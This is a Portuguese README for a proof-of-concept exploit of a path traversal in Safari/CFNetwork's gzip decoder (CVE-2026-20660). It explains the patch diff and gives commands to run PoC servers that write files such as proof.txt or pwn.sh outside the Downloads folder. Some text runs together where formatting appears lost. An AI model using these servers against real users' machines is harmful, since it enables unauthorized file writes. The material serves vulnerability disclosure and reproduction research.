
Este diretório empacota uma prova de conceito autônoma para:
NSGZipDecoder do CFNetwork via FNAME gzipserver.py: Servidor PoC principal com profundidade de traversal e nome de destino configuráveisserver_overwrite.py: Variante focada que grava ../../pwn.shREADME.md: Notas de reprodução e registro de operaçãoO diff do patch mostra que -[NSGZipDecoder filenameWithOriginalFilename:] mudou de comportamento:
lastPathComponent antes de retornar.Isso bloqueia componentes de diretório como ../ e caminhos absolutos no FNAME.
O nome de arquivo HTTP pode estar limpo e mesmo assim o exploit tem sucesso.
Content-Disposition HTTP: limpo (exemplo: report.gz)../../proof.txt)A sanitização no lado do Safari se aplica principalmente aos nomes na camada HTTP, não ao FNAME gzip embutido consumido pelo NSGZipDecoder no fluxo vulnerável.
Na raiz do repositório:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
Abra no Safari vulnerável:
http://<server-ip>:8888/
Clique em Trigger depth=2.
Após acionar, verifique o resultado da gravação na máquina de destino:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
Para a variante de sobrescrita:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
Depois abra:
http://<server-ip>:9999/
Verifique:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind, -b: endereço de bind (padrão 0.0.0.0)--port, -p: porta de escuta (padrão 8888)--depth, -d: profundidade do traversal (contagem de repetição do ../, padrão 2)--name, -n: nome do arquivo de saída alvoExemplos:
# write to ~/proof.txt when depth matches runtime directory nesting
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# explicit absolute path test (if resolver permits)
python3 exploit/cve-2026-20660/server.py -p 8888
# then use: /download?depth=0&fname=/tmp/proof.txt
~/Downloads, então a profundidade geralmente precisa ser >= 2 para escapar para ~/.2, 3, 4) e teste novamente.Use apenas em ambientes de teste autorizados.
Para uma explicação mais detalhada, veja: